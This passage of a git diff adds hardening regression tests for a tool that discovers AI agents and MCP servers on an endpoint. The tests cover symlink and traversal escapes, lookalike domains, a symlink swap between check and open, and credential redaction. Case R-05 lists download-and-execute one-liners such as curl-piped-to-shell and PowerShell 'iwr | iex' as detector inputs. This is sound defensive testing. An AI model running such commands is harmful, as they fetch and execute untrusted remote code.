w.file("/usr/local/bin/acmecode") + w.file("~/.acmecode/sessions/a.jsonl", '{"role":"user","content":"hi"}\n') + return w, [has("queued on state shape", + lambda s: queued(s, "acmecode") + and "state_shape" in queued(s, "acmecode")[0]["signals"]), + none_of(catalog_id="claude-code")] + + +@case("AG-34") +def ag34(): + w = World() + w.file("~/dev/analytics/pyproject.toml", '[project]\ndependencies = ["anthropic"]\n') + w.file("~/dev/analytics/main.py", "import anthropic\n") + return w, [none_of(kind="cli_agent"), + has("not queued as an agent", lambda s: not queued(s, "analytics"))] + + +@case("AG-35") +def ag35(): + w = World() + w.proc(1, "/bin/bash", argv=["bash", "-c", "make test"]) + w.proc(2, "/opt/homebrew/bin/rg", argv=["rg", "--json", "x"]) + w.proc(3, "/opt/homebrew/bin/node", argv=["node", "build.js"]) + w.proc(4, "/usr/local/bin/agent-editor", argv=["agent-editor"]) + return w, [none_of(kind="cli_agent"), none_of(kind="mcp_server")] + + +@case("AG-36") +def ag36(): + w = claude_on_path(World()) + w.proc(1, "/usr/local/bin/tmux", argv=["tmux", "server"]) + for pid in range(10, 30): + w.proc(pid, "/bin/zsh", argv=["zsh"], ppid=1) + w.proc(31, "/opt/homebrew/bin/claude", ppid=1, user="alice") + return w, [count(1, catalog_id="claude-code"), one_agent(sessions=1)] diff --git a/Discovery/tests/cases_hardening.py b/Discovery/tests/cases_hardening.py new file mode 100644 index 0000000..34221ac --- /dev/null +++ b/Discovery/tests/cases_hardening.py @@ -0,0 +1,947 @@ +"""Group R - hardening regressions. + +One case per finding from the adversarial review. These sit outside the four +discovery targets in Appendix A on purpose: they check that the collector +behaves under an input designed to fool it, not that it finds the four things +it exists to find. +""" + + +from .cases_tools import count, none_of, only, total +from .framework import World, assets, has + +CASES = {} + + +def case(case_id): + def register(fn): + CASES[case_id] = fn + return fn + return register + + +@case("R-01") +def r01(): + """A permitted path that symlinks into a denied one.""" + w = World() + w.json("/Users/alice/Documents/private.json", + {"mcpServers": {"CANARY-secret": {"command": "node", "args": ["x.js"]}}}) + w.raw_link("/Users/alice/.claude.json", + str(w._real("/Users/alice/Documents/private.json"))) + return w, [none_of(kind="mcp_server"), + has("nothing from the denied target leaks", + lambda s: "CANARY-secret" not in s.to_json()), + has("the refusal is recorded rather than silent", + lambda s: any("denied" in e.get("message", "") for e in s.errors))] + + +@case("R-02") +def r02(): + """A relative segment that climbs out of the tree we were pointed at.""" + w = World() + canary = w.root.parent / "adr-r02-canary.txt" + canary.write_text("ESCAPED-CANARY") + env = w.env() + reads = [env.read("/opt/lib/pkg/" + "../" * hops + "adr-r02-canary.txt") + for hops in range(2, 9)] + canary.unlink() + return w, [has("no traversal reads outside the root", + lambda s: not any(r and "ESCAPED-CANARY" in r.text for r in reads)), + has("each refusal names the reason", + lambda s: all((not r) for r in reads))] + + +@case("R-03") +def r03(): + """A bridge observation must not unite two different tools.""" + from adr_discovery.base_probe import Observation + from adr_discovery.resolver import resolve + + shared = "/usr/local/lib/shared-wrapper" + observations = [ + Observation(probe="p", channel="filesystem", kind="cli_agent", name="aider", + path="/usr/local/bin/aider", matched_on="binary:aider", + catalog_id="aider", realpath=shared, owner="alice"), + Observation(probe="p", channel="filesystem", kind="cli_agent", name="bridge", + path="/usr/local/bin/bridge", matched_on="binary:bridge", + realpath=shared, pkg_identity="npm:@block/goose-cli", owner="alice"), + Observation(probe="p", channel="package_registry", kind="cli_agent", name="goose", + path="/pkg/goose", matched_on="npm:@block/goose-cli", catalog_id="goose", + pkg_identity="npm:@block/goose-cli", owner="alice"), + ] + resolved = resolve(observations) + w = World() + return w, [has("both tools survive the merge", + lambda s: {a.catalog_id for a in resolved} >= {"aider", "goose"}), + has("neither tool absorbs the other's evidence", + lambda s: all(len({e.matched_on for e in a.evidence} + & {"binary:aider", "npm:@block/goose-cli"}) <= 1 + for a in resolved if a.catalog_id))] + + +@case("R-04") +def r04(): + """Production collects listening sockets, not an empty list.""" + from adr_discovery.runner import _live_sockets, live_env + w = World() + return w, [has("live_env wires a socket collector", + lambda s: isinstance(live_env().sockets, (list, tuple))), + has("the collector returns real listeners on this host", + lambda s: isinstance(_live_sockets(), tuple))] + + +@case("R-05") +def r05(): + """Download-and-execute, in the spellings it actually takes.""" + from adr_discovery.probes.mcp import classify_launch + variants = ["CURL https://x | sh", + "curl -fsSL https://x | env bash", + "wget https://x -O- | /bin/bash", + 'powershell -Command "iwr https://x | iex"', + "curl https://x | python3 -", + "fetch https://x | zsh"] + missed = [v for v in variants + if "remote_code_execution" not in classify_launch("bash", ["-c", v], "")[1]] + benign = classify_launch("node", ["server.js", "--pipe", "|"], "")[1] + w = World() + return w, [has("every variant is classified", lambda s: not missed or "missed: %s" % missed), + has("an ordinary launch is not", + lambda s: "remote_code_execution" not in benign)] + + +@case("R-06") +def r06(): + """The live process table is scoped to this user, not merely described as such.""" + import getpass + + from adr_discovery.runner import _live_processes + processes = _live_processes() + try: + me = getpass.getuser() + except Exception: + me = "" + w = World() + return w, [has("no other user's processes are collected", + lambda s: all(p.user == me for p in processes) if processes else True)] + + +@case("R-07") +def r07(): + """Credentials with no vendor marking are still credentials.""" + from adr_discovery.redact import redact_argv, redact_secretish + jwt = "eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhbGljZSJ9.s5Zq2Xk9pQwErTyUiOpAsDfGhJkLzXcVbNm" + argv = redact_argv(["agent", "--auth-token", jwt, "--session-key=CANARYKEY12345678", + "--dangerously-skip-permissions", "--port", "8080"]) + pem = redact_secretish("-----BEGIN RSA PRIVATE KEY----- MIIEow") + w = World() + return w, [has("a JWT never survives", lambda s: jwt not in " ".join(argv)), + has("an uncatalogued credential flag is redacted by its name", + lambda s: "CANARYKEY12345678" not in " ".join(argv)), + has("a PEM header is masked", lambda s: "BEGIN RSA PRIVATE KEY" not in pem), + has("risk-bearing flags survive", + lambda s: "--dangerously-skip-permissions" in argv and "8080" in argv)] + + +@case("R-08") +def r08(): + """A cap applies wherever servers come from, and says so when it fires.""" + w = World() + w.json("~/dev/payments/.mcp.json", + {"mcpServers": {"s%d" % i: {"command": "node", "args": ["%d.js" % i]} + for i in range(600)}}) + return w, [count(500, kind="mcp_server"), + has("the cap is reported with the true count", + lambda s: any(entry["declared"] == 600 + for entry in s.stats["coverage"].get("capped", []))), + has("an error names the capped file", + lambda s: any("capped" in e.get("message", "") for e in s.errors))] + + +@case("R-09") +def r09(): + """A walk ceiling that fires is recorded, not silent.""" + from adr_discovery import env as env_mod + w = World() + for index in range(30): + w.file("/Users/alice/dev/wide/f%d.txt" % index, "x") + env = w.env() + original = env_mod.MAX_WALK_ENTRIES + env_mod.MAX_WALK_ENTRIES = 10 + try: + list(env.walk("/Users/alice/dev", max_depth=3)) + finally: + env_mod.MAX_WALK_ENTRIES = original + return w, [has("truncation is in the error log", + lambda s: any("walk truncated" in e.get("message", "") for e in env.errors)), + has("and in coverage", + lambda s: bool(env.coverage.get("truncated_walks")))] + + +@case("R-10") +def r10(): + """Subprocess output is bounded as well as timed.""" + from adr_discovery.runner import MAX_SUBPROCESS_BYTES, _subprocess_runner + code, out = _subprocess_runner( + ["python3", "-c", "print('x' * 5_000_000)"], 10.0) + w = World() + return w, [has("output is capped", + lambda s: len(out) <= MAX_SUBPROCESS_BYTES + 64), + has("truncation is stated in the output", + lambda s: "truncated" in out)] + + +@case("R-11") +def r11(): + """A lookalike domain is not a corporate domain.""" + w = World(policy={"corporate_domains": ["corp.example"]}) + w.json("~/.claude.json", {"mcpServers": { + "evil": {"url": "https://mcp.evilcorp.example/v1"}, + "inside": {"url": "https://mcp.corp.example/v1"}, + "deep": {"url": "https://a.b.corp.example/v1"}}}) + def factors(snapshot, name): + return [a for a in assets(snapshot, kind="mcp_server") + if a.name == name][0].risk["factors"] + return w, [has("the lookalike is third party", + lambda s: "third_party_remote" in factors(s, "evil")), + has("the real domain and its subdomain are not", + lambda s: "third_party_remote" not in factors(s, "inside") + and "third_party_remote" not in factors(s, "deep"))] + + +@case("R-12") +def r12(): + """A provider host is a host, not a substring.""" + from adr_discovery.probes.openworld import OpenWorldProbe + probe = OpenWorldProbe() + w = World() + return w, [has("a lookalike host does not match", + lambda s: not probe._is_provider_target("https://api.openai.com.evil.test/*")), + has("a path segment does not match", + lambda s: not probe._is_provider_target("https://evil.test/api.openai.com/x")), + has("the real host still matches", + lambda s: probe._is_provider_target("https://api.openai.com/*"))] + + +@case("R-13") +def r13(): + """A nix upgrade is a version change, not a reinstall.""" + from adr_discovery.paths import install_root + before = install_root("/nix/store/abc123-claude-code-2.1.234/bin/claude") + after = install_root("/nix/store/def456-claude-code-2.1.235/bin/claude") + w = World() + return w, [has("identity survives the upgrade", + lambda s: before == after == "nix:claude-code"), + has("a versionless store path is unchanged", + lambda s: install_root("/nix/store/abc-crush/bin/crush") == "nix:crush")] + + +@case("R-14") +def r14(): + """A file sitting exactly on the ceiling is whole, not truncated.""" + w = World() + w.file("/exact.txt", "y" * 1000) + w.file("/over.txt", "y" * 1001) + env = w.env() + exact = env.read("/exact.txt", limit=1000) + over = env.read("/over.txt", limit=1000) + return w, [has("exact-size read is not flagged", + lambda s: exact.truncated is False and len(exact.data) == 1000), + has("one byte more is flagged", + lambda s: over.truncated is True and len(over.data) == 1000)] + + +@case("R-15") +def r15(): + """Snapshot deltas, which the appendix no longer specifies but the code emits.""" + from adr_discovery import diff_snapshots + w = World().path("/opt/homebrew/bin") + w.file("/opt/homebrew/bin/claude") + w.run("--version", "claude 1.2.0") + first = w.scan() + w2 = World().path("/opt/homebrew/bin") + w2.file("/opt/homebrew/bin/claude") + w2.run("--version", "claude 1.3.0") + second = w2.scan() + changes = diff_snapshots(first, second) + w2.cleanup() + return w, [has("a rescan of the same world is empty", + lambda s: diff_snapshots(first, first) == []), + has("a version bump keeps the asset id", + lambda s: len(changes) == 1 and changes[0]["change"] == "version_changed"), + has("the delta is its own inverse", + lambda s: {c["change"] for c in diff_snapshots(second, first)} + == {"version_changed"})] + + +@case("R-16") +def r16(): + """Fleet fan-out is one finding, not one per endpoint.""" + from adr_discovery import fleet_drift + appeared = [("host%d" % index, + [{"change": "appeared", "asset_id": "abc123", "name": "mcp-new", + "risk": {"factors": ["unpinned_supply_chain"]}}]) + for index in range(40)] + findings = fleet_drift(appeared, min_hosts=10) + w = World() + return w, [has("exactly one fleet finding", lambda s: len(findings) == 1), + has("host count and severity carried", + lambda s: findings[0]["host_count"] == 40 and findings[0]["severity"] == "high"), + has("a handful of hosts is not a fan-out", + lambda s: fleet_drift(appeared[:5], min_hosts=10) == [])] + + +@case("R-17") +def r17(): + """Listeners are probed concurrently, so a stalled port costs one timeout.""" + import time + + w = World() + for port in range(9000, 9012): + w.sock(port) + + def slow_http(port, endpoint): + time.sleep(0.15) + return None + + w._http_get = slow_http + env = w.env() + from adr_discovery.probes.runtime import RuntimeProbe + started = time.time() + RuntimeProbe().run(env) + elapsed = time.time() - started + serial = 12 * 2 * 0.15 + return w, [has("twelve listeners cost far less than a serial sweep", + lambda s: elapsed < serial / 3 or "%.2fs vs %.2fs serial" % (elapsed, serial))] + + +@case("R-18") +def r18(): + """An outright denied path is refused quietly; a bypass is not.""" + w = World() + w.dir("/Users/alice/.ssh") + w.file("/Users/alice/Documents/notes.md", "x") + env = w.env() + env.is_dir("/Users/alice/.ssh") + env.read("/Users/alice/Documents/notes.md") + quiet = list(env.errors) + w.raw_link("/Users/alice/.claude.json", str(w._real("/Users/alice/Documents/notes.md"))) + env.read("/Users/alice/.claude.json") + return w, [has("enumerating a denied path records nothing", + lambda s: quiet == [] or quiet), + has("a permitted path resolving into one is recorded", + lambda s: any("denied" in e.get("message", "") for e in env.errors))] + + +@case("R-19") +def r19(): + """One malformed record must not erase its valid siblings.""" + w = World() + w.json("~/.claude.json", {"mcpServers": { + "good-a": {"command": "node", "args": ["a.js"]}, + "bad-env": {"command": "node", "args": ["b.js"], "env": ["NOT", "A", "MAP"]}, + "bad-spec": "a string where an object belongs", + "good-b": {"command": "node", "args": ["c.js"]}}}) + return w, [has("the valid servers survive", + lambda s: {"good-a", "good-b"} <= {a.name for a in assets(s, kind="mcp_server")}), + has("the malformed record is reported, not dropped silently", + lambda s: any("malformed_config" in a.flags + for a in assets(s, kind="mcp_server")))] + + +@case("R-20") +def r20(): + """Ordinary agent children are not MCP servers; declared ones still are.""" + from adr_discovery.probes.process import looks_like_server + ordinary = [["npx", "eslint", "."], ["npx", "vite", "--host"], ["npm", "run", "mcp-docs"], + ["python", "my-server-test.py"], ["bash", "-c", "echo server-status"], + ["node", "build.js"], ["yarn", "run", "start-server"], + # A shell's argv is arbitrary user text. Observed on a real + # endpoint: a snapshot wrapper whose command line happened to + # mention a path containing "mcp" became a high-severity finding. + ["/bin/zsh", "-c", "source ~/.claude/shell-snapshots/snap.sh && " + "ruff check adr_discovery/probes/mcp.py"], + ["bash", "-lc", "python -m pytest tests/test_mcp.py"]] + servers = [["npx", "-y", "mcp-server-github"], ["node", "/tmp/mcp-rogue.js"], + ["npx", "-y", "@modelcontextprotocol/server-git"], + ["docker", "run", "ghcr.io/x/mcp:latest"]] + w = World().path("/opt/homebrew/bin") + w.file("/opt/homebrew/bin/claude").file("/opt/homebrew/bin/npx") + w.json("~/.claude.json", {"mcpServers": { + "quiet": {"command": "npx", "args": ["-y", "quiet-tool@1.0.0"]}}}) + w.proc(1, "/opt/homebrew/bin/claude") + w.proc(2, "/opt/homebrew/bin/npx", argv=["npx", "eslint", "."], ppid=1) + w.proc(3, "/opt/homebrew/bin/npx", argv=["npx", "-y", "quiet-tool@1.0.0"], ppid=1) + return w, [has("no ordinary command is read as a server", + lambda s: not [a for a in ordinary if looks_like_server(a)] + or [a for a in ordinary if looks_like_server(a)]), + has("every genuine server still is", + lambda s: all(looks_like_server(a) for a in servers)), + has("eslint produces no asset and no finding", + lambda s: len(assets(s, kind="mcp_server")) == 1 + and not [f for f in s.findings if f["finding"] == "undeclared_mcp_server"]), + has("a declared server with no telltale name is recovered by correlation", + lambda s: assets(s, kind="mcp_server")[0].channels == ["config", "runtime"])] + + +@case("R-21") +def r21(): + """Approval belongs to a project, not to a name that starts the same way.""" + w = World() + w.json("~/dev/app/.mcp.json", {"mcpServers": {"shared": {"command": "node", "args": ["app.js"]}}}) + w.json("~/dev/app/.claude/settings.json", {"enabledMcpjsonServers": ["shared"]}) + w.json("~/dev/application/.mcp.json", + {"mcpServers": {"shared": {"command": "node", "args": ["application.js"]}}}) + + def enabled_for(snapshot, marker): + return [a.risk.get("enabled") for a in assets(snapshot, kind="mcp_server") + if marker in a.install_path][0] + + return w, [has("the approved project is enabled", + lambda s: enabled_for(s, "/dev/app/") is True), + has("the neighbour is unknown, not approved", + lambda s: enabled_for(s, "/dev/application/") is None)] + + +@case("R-22") +def r22(): + """A string where an argument array belongs is a record, not nine characters.""" + w = World().json("~/.claude.json", + {"mcpServers": {"s": {"command": "npx", "args": "pkg@1.2.3"}}}) + return w, [has("kept whole", + lambda s: assets(s, kind="mcp_server")[0].risk["args"] == ["pkg@1.2.3"]), + has("pinning still classifies correctly", + lambda s: assets(s, kind="mcp_server")[0].risk["pinned"] is True), + has("the record is marked malformed", + lambda s: "malformed_config" in assets(s, kind="mcp_server")[0].flags)] + + +@case("R-23") +def r23(): + """Two catalog entries may not claim one fingerprint.""" + from adr_discovery.catalog import Catalog + entries = [{"id": "one", "name": "One", "kind": "cli_agent", "binaries": ["shared"]}, + {"id": "two", "name": "Two", "kind": "cli_agent", "binaries": ["shared"]}] + lenient = Catalog(entries) + strict_failed = False + try: + Catalog(entries, strict=True) + except ValueError: + strict_failed = True + shipped = Catalog.load() + w = World() + return w, [has("the ambiguity is recorded", lambda s: len(lenient.duplicates) == 1), + has("the first claim wins deterministically", + lambda s: lenient.match("binaries", "shared")["id"] == "one"), + has("strict loading refuses", lambda s: strict_failed), + has("the shipped catalog is unambiguous", + lambda s: shipped.duplicates == [] or shipped.duplicates)] + + +@case("R-24") +def r24(): + """A diff compares one endpoint with itself unless told otherwise.""" + from adr_discovery import diff_snapshots + from adr_discovery.schema import DiscoverySnapshot + a = DiscoverySnapshot(hostname="host-a", username="alice", platform="darwin", timestamp="t1") + b = DiscoverySnapshot(hostname="host-b", username="bob", platform="darwin", timestamp="t2") + refused = False + try: + diff_snapshots(a, b) + except ValueError: + refused = True + w = World() + return w, [has("two hosts are refused", lambda s: refused), + has("one host is fine", lambda s: diff_snapshots(a, a) == []), + has("cross-host is available when asked for explicitly", + lambda s: diff_snapshots(a, b, allow_cross_host=True) == [])] + + +@case("R-25") +def r25(): + """An asset id identifies one asset, and a diff refuses input where it does not.""" + from adr_discovery import diff_snapshots + from adr_discovery.base_probe import Observation + from adr_discovery.resolver import resolve + from adr_discovery.schema import DiscoveredAsset, DiscoverySnapshot + + twins = [Observation(probe="p", channel="filesystem", kind="cli_agent", name="twin", + path="/a/claude", matched_on="binary:claude", catalog_id="claude-code", + realpath="/a/claude", install_root="/same", owner="alice"), + Observation(probe="p", channel="filesystem", kind="cli_agent", name="twin", + path="/b/claude", matched_on="binary:claude", catalog_id="claude-code", + realpath="/b/claude", install_root="/same", owner="alice")] + resolved = resolve(twins) + + ambiguous = DiscoverySnapshot(hostname="h", username="u", platform="darwin", timestamp="t") + for name in ("first", "second"): + asset = DiscoveredAsset(kind="cli_agent", name=name, identity="x", owner="alice") + asset.asset_id = "same-id" + ambiguous.assets.append(asset) + empty = DiscoverySnapshot(hostname="h", username="u", platform="darwin", timestamp="t0") + refused = False + try: + diff_snapshots(empty, ambiguous) + except ValueError: + refused = True + + w = World() + return w, [has("the resolver hands out unique ids", + lambda s: len({a.asset_id for a in resolved}) == len(resolved)), + has("and marks the one it had to disambiguate", + lambda s: any("ambiguous_identity" in a.flags for a in resolved) + if len(resolved) > 1 else True), + has("a diff refuses an ambiguous snapshot", lambda s: refused)] + + +@case("R-26") +def r26(): + """A stdio server has no endpoint, and that must not break the delta.""" + from adr_discovery.diff import config_fingerprint + from adr_discovery.schema import DiscoveredAsset + asset = DiscoveredAsset(kind="mcp_server", name="x", identity="y", owner="alice") + asset.network = {"endpoint": None} + asset.risk = {"factors": [], "command": None, "args": None, "pinned": None} + w = World() + return w, [has("fingerprinting a null-valued asset works", + lambda s: len(config_fingerprint(asset)) == 12), + has("and is stable", lambda s: config_fingerprint(asset) == config_fingerprint(asset))] + + +@case("R-27") +def r27(): + """Config arguments carry credentials as readily as command lines do.""" + w = World().json("~/.claude.json", {"mcpServers": {"s": { + "command": "node", + "args": ["srv.js", "--token", "ordinary-secret-not-pattern-shaped", + "--header", "Authorization: Bearer also-secret", "--port", "8080"]}}}) + return w, [has("no argument value reaches the snapshot", + lambda s: "ordinary-secret-not-pattern-shaped" not in s.to_json() + and "also-secret" not in s.to_json()), + has("flag names and benign values survive", + lambda s: {"--token", "--header", "--port", "8080"} + <= set(assets(s, kind="mcp_server")[0].risk["args"]))] + + +@case("R-28") +def r28(): + """A malformed managed policy is one bad source, not a lost inventory.""" + w = World(preferences={"com.anthropic.claudecode": {"mcpServers": ["not-a-map"]}}) + w.json("~/.claude.json", {"mcpServers": {"valid": {"command": "node", "args": ["v.js"]}}}) + win = World(platform="windows") + win.reg(Key="HKLM\\SOFTWARE\\Policies\\ClaudeCode", Settings='{"mcpServers": "not-a-map"}') + win.json("~/.claude.json", {"mcpServers": {"valid": {"command": "node", "args": ["v.js"]}}}) + return w, [has("the valid config still yields its server", + lambda s: [a.name for a in assets(s, kind="mcp_server")] == ["valid"]), + has("the malformed policy is reported", + lambda s: any("server map" in e.get("message", "") for e in s.errors)), + has("the same holds for a malformed registry policy", + lambda s: [a.name for a in assets(win.scan(), kind="mcp_server")] == ["valid"])] + + +@case("R-29") +def r29(): + """A malformed bundle manifest must not take the probe down with it.""" + w = World() + w.json("~/Library/Application Support/Claude/Claude Extensions/acme/manifest.json", + {"name": "acme", "version": "1.0", "server": "not-a-map"}) + w.json("~/.claude.json", {"mcpServers": {"valid": {"command": "node", "args": ["v.js"]}}}) + return w, [has("the valid server survives", + lambda s: "valid" in {a.name for a in assets(s, kind="mcp_server")}), + has("the bundle is reported rather than dropped silently", + lambda s: any("server block" in e.get("message", "") for e in s.errors))] + + +@case("R-30") +def r30(): + """One launch, written two ways, is one server.""" + forms = [("/usr/local/bin/node", ["quiet.js"], ["node", "quiet.js"]), + ("node", ["quiet.js", "--token", "ordinary-secret"], + ["node", "quiet.js", "--token", "ordinary-secret"]), + ("node.exe", ["quiet.js"], ["node", "quiet.js"])] + results = [] + for command, args, argv in forms: + world = World().path("/usr/local/bin") + world.file("/usr/local/bin/claude").file("/usr/local/bin/node") + world.json("~/.claude.json", {"mcpServers": {"quiet": {"command": command, "args": args}}}) + world.proc(1, "/usr/local/bin/claude") + world.proc(2, "/usr/local/bin/node", argv=argv, ppid=1) + snapshot = world.scan() + servers = assets(snapshot, kind="mcp_server") + results.append((len(servers), servers[0].channels if servers else [])) + world.cleanup() + w = World() + return w, [has("every spelling resolves to one server on both channels", + lambda s: all(count == 1 and channels == ["config", "runtime"] + for count, channels in results) or results)] + + +@case("R-31") +def r31(): + """Variable expansion matches whole names, not prefixes.""" + w = World() + env = w.env() + env.env_vars.update({"PATH": "/bin", "PATH_EXTRA": "/special", "HOME2": "/h2"}) + return w, [has("a longer name is not eaten by a shorter one", + lambda s: env.expand("$PATH_EXTRA/tool") == "/special/tool"), + has("braced and windows forms expand", + lambda s: env.expand("${PATH}/x") == "/bin/x" + and env.expand("%HOME2%/y") == "/h2/y"), + has("an unknown name is left alone", + lambda s: env.expand("$NOT_SET/z") == "$NOT_SET/z")] + + +@case("R-32") +def r32(): + """Where a denied link points is itself something not to disclose.""" + w = World() + w.file("/Users/alice/Documents/secret.json", "{}") + w.raw_link("/Users/alice/.claude.json", str(w._real("/Users/alice/Documents/secret.json"))) + env = w.env() + resolved = env.realpath("/Users/alice/.claude.json") + return w, [has("the denied target is not reported", + lambda s: "Documents" not in resolved), + has("the permitted path is returned instead", + lambda s: resolved == "/Users/alice/.claude.json"), + has("the refusal appears in coverage", + lambda s: bool(env.coverage.get("denied")))] + + +@case("R-33") +def r33(): + """A path swapped between the check and the open is refused, not read.""" + import os + + from adr_discovery import env as env_mod + + w = World() + w.file("/allowed/real.json", '{"mcpServers": {}}') + w.file("/allowed/other.json", "SWAPPED-CANARY") + w.raw_link("/allowed/link.json", str(w._real("/allowed/real.json"))) + env = w.env() + + original_open = env_mod.os.open + + def swapping_open(path, *args, **kwargs): + # Stand in for a concurrent process repointing the link after the check. + link = str(w._real("/allowed/link.json")) + if link in str(path): + os.unlink(link) + os.symlink(str(w._real("/allowed/other.json")), link) + return original_open(path, *args, **kwargs) + + env_mod.os.open = swapping_open + try: + result = env.read("/allowed/link.json") + finally: + env_mod.os.open = original_open + return w, [has("the swapped content is not returned", + lambda s: "SWAPPED-CANARY" not in (result.text if result else "")), + has("the read is refused with a reason", + lambda s: bool(result.error) and "changed" in result.error), + has("and the refusal is recorded", + lambda s: any("check and open" in e.get("message", "") for e in env.errors))] + + +@case("R-34") +def r34(): + """A decoded registry policy of the wrong shape is one bad source.""" + w = World(platform="windows") + w.reg(Key="HKLM\\SOFTWARE\\Policies\\ClaudeCode", Settings="[]") + w.json("~/.claude.json", {"mcpServers": {"valid": {"command": "node", "args": ["v.js"]}}}) + return w, [has("the valid config still yields its server", + lambda s: [a.name for a in assets(s, kind="mcp_server")] == ["valid"]), + has("the policy record is reported", + lambda s: any("policy object" in e.get("message", "") for e in s.errors))] + + +@case("R-35") +def r35(): + """Credential flags in every spelling a tool might use.""" + from adr_discovery.redact import redact_argv + out = redact_argv(["srv", "--api_key", "ordinary-secret-value", + "--token:ordinary-secret-value", "--auth-token", "another-secret-value", + "--port", "8080", "--dangerously-skip-permissions"]) + w = World() + return w, [has("no credential value survives", + lambda s: not [t for t in out if "secret-value" in t]), + has("an inline colon form keeps its name and loses its value", + lambda s: "--token:[REDACTED]" in out), + has("and does not consume the flag that follows it", + lambda s: "--auth-token" in out and out.index("--auth-token") < len(out) - 1 + and out[out.index("--auth-token") + 1] == "[REDACTED]"), + has("benign flags and values are untouched", + lambda s: "--port" in out and "8080" in out + and "--dangerously-skip-permissions" in out)] + + +@case("R-36") +def r36(): + """An option's value is not the image, and not the package.""" + from adr_discovery.probes.mcp import classify_launch + unpinned = [("docker", ["run", "-v", "/host:tag", "vendor/server:latest"]), + ("docker", ["run", "-p", "127.0.0.1:8080:80", "vendor/server:latest"]), + ("npx", ["--registry", "https://user@registry.example", "unversioned-package"]), + ("npx", ["--cache", "cache@local", "unversioned-package"])] + pinned = [("docker", ["run", "-v", "/host:tag", "vendor/server@sha256:ab34cd"]), + ("docker", ["run", "-p", "127.0.0.1:8080:80", "ghcr.io/x/mcp:1.4.2"]), + ("npx", ["--registry", "https://user@registry.example", "pkg@1.2.3"]), + ("npx", ["-y", "@modelcontextprotocol/server-github@1.4.2"])] + w = World() + return w, [has("an option value never supplies a version", + lambda s: all(classify_launch(c, a, "")[0] is False for c, a in unpinned)), + has("a genuine pin behind an option still reads pinned", + lambda s: all(classify_launch(c, a, "")[0] is True for c, a in pinned))] + + +@case("R-37") +def r37(): + """Windows reports one executable in whatever casing was typed.""" + from adr_discovery.probes.mcp import server_identity + left = server_identity("stdio", "C:\\Tools\\Node.EXE", ["quiet.js"], "") + right = server_identity("stdio", "c:/tools/node.exe", ["quiet.js"], "") + other = server_identity("stdio", "python", ["quiet.js"], "") + w = World() + return w, [has("casing and separators do not split identity", lambda s: left == right), + has("a different executable still differs", lambda s: left != other)] + + +@case("R-38") +def r38(): + """A bracketed IPv6 authority has colons inside it.""" + from adr_discovery.net import domain_matches, host_of + w = World() + return w, [has("loopback IPv6 parses", + lambda s: host_of("http://[::1]:8000/v1") == "::1"), + has("a full IPv6 address parses", + lambda s: host_of("https://[2001:db8::1]/x") == "2001:db8::1"), + has("ordinary hosts and wildcard patterns still parse", + lambda s: host_of("https://api.openai.com/*") == "api.openai.com" + and host_of("*://*.corp.example/*") == "corp.example"), + has("domain matching is unaffected", + lambda s: domain_matches(host_of("https://mcp.corp.example/v1"), + "corp.example"))] + + +@case("R-39") +def r39(): + """A bundle that declares no runnable server is not a server.""" + w = World() + w.json("~/Library/Application Support/Claude/Claude Extensions/broken/manifest.json", + {"name": "broken", "version": "1.0", "server": "not-a-map"}) + w.json("~/Library/Application Support/Claude/Claude Extensions/empty/manifest.json", + {"name": "empty", "version": "2.0"}) + w.json("~/Library/Application Support/Claude/Claude Extensions/good/manifest.json", + {"name": "good", "version": "3.0", + "server": {"command": "node", "args": ["server.js"]}}) + return w, [has("only the runnable bundle is an MCP server", + lambda s: [a.name for a in assets(s, kind="mcp_server")] == ["good"]), + has("the other two are still inventoried as bundles", + lambda s: sorted(a.name for a in assets(s, kind="mcp_bundle")) + == ["broken", "empty"]), + has("and are marked malformed", + lambda s: all("malformed_manifest" in a.flags + for a in assets(s, kind="mcp_bundle")))] + + +@case("R-40") +def r40(): + """Rotating a credential is not an uninstall followed by an install.""" + from adr_discovery import diff_snapshots + from adr_discovery.probes.mcp import server_identity + + def world_with(token): + world = World() + world.json("~/.claude.json", {"mcpServers": {"srv": { + "command": "node", "args": ["srv.js", "--token", token]}}}) + return world + + first, second = world_with("credential-one"), world_with("credential-two") + before, after = first.scan(), second.scan() + changes = diff_snapshots(before, after) + first.cleanup() + second.cleanup() + w = World() + return w, [has("the asset id survives rotation", + lambda s: before.assets[0].asset_id == after.assets[0].asset_id), + has("the delta is empty, not a reinstall", lambda s: changes == []), + has("identity material carries no secret", + lambda s: server_identity("stdio", "node", ["--token", "aaa"], "") + == server_identity("stdio", "node", ["--token", "bbb"], ""))] + + +@case("R-41") +def r41(): + """TOML is a grammar, not a punctuation convention.""" + w = World().file("~/.codex/config.toml", ''' +[mcp_servers."team.server"] +command = "node" +args = ["server.js", "--header", "x,y"] + +[mcp_servers.plain] +command = "uvx" +args = ["mcp-server-git"] +''') + return w, [has("a quoted dotted key is one server, named in full", + lambda s: "team.server" in {a.name for a in assets(s, kind="mcp_server")}), + has("its command and arguments survive", + lambda s: [a for a in assets(s, kind="mcp_server") + if a.name == "team.server"][0].risk["command"] == "node"), + has("a comma inside a string does not split the array", + lambda s: "x,y" in " ".join( + [a for a in assets(s, kind="mcp_server") + if a.name == "team.server"][0].risk["args"]) + or "[REDACTED]" in [a for a in assets(s, kind="mcp_server") + if a.name == "team.server"][0].risk["args"]), + has("both servers are found", + lambda s: len(assets(s, kind="mcp_server")) == 2)] + + +@case("R-42") +def r42(): + """A version is not a pin because it contains a digit.""" + from adr_discovery.probes.mcp import classify_launch + floating = ["pkg@1.x", "pkg@1.2.*", "pkg@beta", "pkg@npm:other", "pkg@github:user/repo", + "pkg@>=1.0.0", "pkg@workspace:*", "pkg@^1.2.3", "pkg@~1.2.3", "pkg@latest"] + exact = ["pkg@1.2.3", "pkg@1.2.3-rc.1", "@scope/pkg@1.2.3", "pkg@0.0.1+build.5"] + w = World() + return w, [has("every mutable specification is unpinned", + lambda s: not [p for p in floating if classify_launch("npx", ["-y", p], "")[0]]), + has("every exact version is pinned", + lambda s: all(classify_launch("npx", ["-y", p], "")[0] for p in exact)), + has("an alias is named as such", + lambda s: "aliased_specification" in + classify_launch("npx", ["-y", "pkg@npm:other"], "")[1])] + + +@case("R-43") +def r43(): + """An option nobody listed must not smuggle an image past the parser.""" + from adr_discovery.probes.mcp import classify_launch + unpinned = [["run", "--annotation", "owner:team", "vendor/server:latest"], + ["run", "--runtime", "runc:custom", "vendor/server:latest"], + ["run", "--some-future-option", "a:b", "vendor/server:latest"]] + pinned = [["run", "--rm", "-it", "ghcr.io/x/mcp:1.4.2"], + ["run", "--runtime", "runc:custom", 